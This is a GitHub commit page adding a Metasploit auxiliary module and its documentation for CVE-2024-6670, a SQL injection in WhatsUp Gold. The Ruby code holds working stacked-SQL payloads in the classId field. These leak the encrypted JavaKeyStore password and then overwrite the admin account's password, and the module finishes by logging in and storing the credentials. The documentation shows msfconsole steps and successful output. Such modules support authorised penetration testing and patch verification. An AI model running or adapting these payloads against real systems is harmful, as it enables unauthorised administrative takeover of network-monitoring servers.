Skip to content

Commit 05ff835

Browse files
authored
Merge pull request rapid7#19436 from h4x-x0r/CVE-2024-6670
WhatsUp Gold SQL Injection (CVE-2024-6670) Module
2 parents b00b808 + c20b1d8 commit 05ff835

File tree

2 files changed

+244
-0
lines changed

2 files changed

+244
-0
lines changed
Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
## Vulnerable Application
2+
3+
This module exploits a SQL injection vulnerability in WhatsUp Gold < v24.0.0 (CVE-2024-6670), by changing the password of an existing user
4+
(such as of the default `admin` account) to an attacker-controlled one.
5+
6+
## Testing
7+
8+
The software can be obtained from
9+
[the vendor](https://cdn.ipswitch.com/nm/WhatsUpGold/23.1.3/WhatsUpGold-23.1.3-FullInstall.exe).
10+
11+
Installation instructions are available [here](https://docs.progress.com/bundle/whatsupgold-install-23-1/page/Prior-to-installation.html).
12+
13+
**Successfully tested on**
14+
15+
- WhatsUp Gold v23.1.3 on Windows 22H2
16+
- WhatsUp Gold v23.1.2 on Windows 22H2
17+
18+
## Verification Steps
19+
20+
1. Install and run the application
21+
2. Start `msfconsole` and run the following commands:
22+
23+
```
24+
msf6 > use auxiliary/admin/http/whatsup_gold_sqli
25+
msf6 auxiliary(admin/http/whatsup_gold_sqli) > set RHOSTS <IP>
26+
msf6 auxiliary(admin/http/whatsup_gold_sqli) > run
27+
```
28+
29+
This should update the password of the default `admin` account.
30+
31+
## Options
32+
33+
### USERNAME
34+
The user of which to update the password (default: admin)
35+
36+
### PASSWORD
37+
The new password for the user
38+
39+
## Scenarios
40+
41+
Running the exploit against WhatsUp Gold v23.1.3 on Windows 22H2 should result in an output similar to the following:
42+
43+
```
44+
msf6 auxiliary(admin/http/whatsup_gold_sqli) > run
45+
[*] Running module against 192.168.217.143
46+
47+
[*] Running automatic check ("set AutoCheck false" to disable)
48+
[+] The target appears to be vulnerable. Version: 23.1.3
49+
[+] New password for admin was successfully set:
50+
admin:SzESLHhWxKyf
51+
[+] Login at: https://192.168.217.143/NmConsole/#home
52+
[*] Auxiliary module execution completed
53+
```
Lines changed: 191 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,191 @@
1+
class MetasploitModule < Msf::Auxiliary
2+
include Msf::Exploit::Remote::HttpClient
3+
prepend Msf::Exploit::Remote::AutoCheck
4+
CheckCode = Exploit::CheckCode
5+
6+
def initialize(info = {})
7+
super(
8+
update_info(
9+
info,
10+
'Name' => 'WhatsUp Gold SQL Injection (CVE-2024-6670)',
11+
'Description' => %q{
12+
This module exploits a SQL injection vulnerability in WhatsUp Gold, by changing the password of an existing user (such as of the default admin account)
13+
to an attacker-controlled one.
14+
15+
WhatsUp Gold versions < v24.0.0 are affected.
16+
},
17+
'Author' => [
18+
'Michael Heinzl', # MSF Module
19+
'Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)' # Discovery & PoC
20+
],
21+
'References' => [
22+
['CVE', '2024-6670'],
23+
['URL', 'https://community.progress.com/s/article/WhatsUp-Gold-Security-Bulletin-August-2024'],
24+
['URL', 'https://summoning.team/blog/progress-whatsup-gold-sqli-cve-2024-6670/'],
25+
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-24-1185/']
26+
],
27+
'DisclosureDate' => '2024-08-29',
28+
'DefaultOptions' => {
29+
'RPORT' => 443,
30+
'SSL' => 'True'
31+
},
32+
'License' => MSF_LICENSE,
33+
'Notes' => {
34+
'Stability' => [CRASH_SAFE],
35+
'Reliability' => [REPEATABLE_SESSION],
36+
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
37+
}
38+
)
39+
)
40+
41+
register_options([
42+
OptString.new('TARGETURI', [true, 'Base path', '/']),
43+
OptString.new('USERNAME', [true, 'Username of which to update the password (default: admin)', 'admin']),
44+
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(12)]),
45+
])
46+
end
47+
48+
def check
49+
res = send_request_cgi({
50+
'method' => 'GET',
51+
'uri' => normalize_uri(target_uri.path, 'NmConsole/app.json')
52+
})
53+
54+
return CheckCode::Unknown unless res && res.code == 200
55+
56+
data = res.get_json_document
57+
data_js = data['js']
58+
version_path = data_js.find { |item| item['path'] =~ /app-/ }['path']
59+
version = version_path[/app-(.*)\.js/, 1]
60+
if version.nil?
61+
return CheckCode::Unknown
62+
else
63+
vprint_status('Version retrieved: ' + version)
64+
end
65+
66+
return Exploit::CheckCode::Appears("Version: #{version}") if Rex::Version.new(version) <= Rex::Version.new('23.1.3')
67+
68+
Exploit::CheckCode::Safe
69+
end
70+
71+
def run
72+
body = {
73+
KeyStorePassword: datastore['NEW_PASSWORD'],
74+
TrustStorePassword: datastore['NEW_PASSWORD']
75+
}.to_json
76+
77+
res = send_request_cgi(
78+
'method' => 'POST',
79+
'uri' => normalize_uri(target_uri.path, 'NmConsole/WugSystemAppSettings/JMXSecurity'),
80+
'ctype' => 'application/json',
81+
'data' => body
82+
)
83+
84+
unless res
85+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
86+
end
87+
88+
unless res.code == 500
89+
fail_with(Failure::UnexpectedReply, 'Unexpected server HTTP status code received.')
90+
end
91+
92+
marker = Rex::Text.rand_text_alpha(10)
93+
deviceid = Rex::Text.rand_text_numeric(5)
94+
95+
body = {
96+
deviceId: deviceid.to_s,
97+
classId: "DF215E10-8BD4-4401-B2DC-99BB03135F2E';UPDATE ProActiveAlert SET sAlertName='#{marker}'+( SELECT sValue FROM GlobalSettings WHERE sName = '_GLOBAL_:JavaKeyStorePwd');--",
98+
range: rand(1..9).to_s,
99+
n: rand(1..9).to_s,
100+
start: rand(1..9).to_s,
101+
end: rand(1..9).to_s
102+
}.to_json
103+
104+
res = send_request_cgi(
105+
'method' => 'POST',
106+
'uri' => normalize_uri(target_uri.path, 'NmConsole/Platform/PerformanceMonitorErrors/HasErrors'),
107+
'ctype' => 'application/json',
108+
'data' => body
109+
)
110+
111+
unless res
112+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
113+
end
114+
115+
unless res.code == 200 && res.body == 'false'
116+
fail_with(Failure::UnexpectedReply, 'Unexpected server response received.')
117+
end
118+
119+
res = send_request_cgi(
120+
'method' => 'GET',
121+
'uri' => normalize_uri(target_uri.path, 'NmConsole/Platform/Filter/AlertCenterItemsReportThresholds')
122+
)
123+
124+
unless res
125+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
126+
end
127+
128+
unless res.code == 200
129+
fail_with(Failure::UnexpectedReply, 'Unexpected server response received.')
130+
end
131+
132+
json_body = res.get_json_document
133+
134+
result = json_body.find { |item| item['DisplayName'].start_with?(marker.to_s) }
135+
unless result
136+
fail_with(Failure::UnexpectedReply, 'Coud not find DisplayName match with marker.')
137+
end
138+
139+
display_name = result['DisplayName'].to_s
140+
display_name_f = display_name.sub(marker.to_s, '')
141+
byte_v = display_name_f.split(',')
142+
hex_v = byte_v.map { |value| value.to_i.to_s(16).upcase.rjust(2, '0') }
143+
enc_pass = '0x' + hex_v.join
144+
vprint_status('Encrypted password: ' + enc_pass)
145+
146+
body = {
147+
deviceId: deviceid.to_s,
148+
classId: "DF215E10-8BD4-4401-B2DC-99BB03135F2E';UPDATE WebUser SET sPassword = #{enc_pass} where sUserName = '#{datastore['USERNAME']}';--",
149+
range: rand(1..9).to_s,
150+
n: rand(1..9).to_s,
151+
start: rand(1..9).to_s,
152+
end: rand(1..9).to_s
153+
}.to_json
154+
155+
res = send_request_cgi(
156+
'method' => 'POST',
157+
'uri' => normalize_uri(target_uri.path, 'NmConsole/Platform/PerformanceMonitorErrors/HasErrors'),
158+
'ctype' => 'application/json',
159+
'data' => body
160+
)
161+
162+
unless res
163+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
164+
end
165+
166+
unless res.code == 200 && res.body == 'false'
167+
fail_with(Failure::Unreachable, 'Unexpected server response received.')
168+
end
169+
170+
res = send_request_cgi(
171+
'method' => 'POST',
172+
'uri' => normalize_uri(target_uri.path, 'NmConsole/User/LoginAjax'),
173+
'ctype' => 'application/x-www-form-urlencoded',
174+
'vars_post' => {
175+
'username' => datastore['USERNAME'],
176+
'password' => datastore['NEW_PASSWORD'],
177+
'rememberMe' => 'false'
178+
}
179+
)
180+
181+
json = res.get_json_document
182+
183+
unless res && res.code == 200 && res.get_cookies.include?('ASPXAUTH') && json['authenticated'] == true
184+
fail_with(Failure::NotVulnerable, 'Unexpected response received.')
185+
end
186+
187+
store_valid_credential(user: datastore['USERNAME'], private: datastore['NEW_PASSWORD'], proof: json.to_s)
188+
print_good("New password for #{datastore['USERNAME']} was successfully set:\n\t#{datastore['USERNAME']}:#{datastore['NEW_PASSWORD']}")
189+
print_good("Login at: #{full_uri(normalize_uri(target_uri, 'NmConsole/#home'))}")
190+
end
191+
end

0 commit comments

Comments
 (0)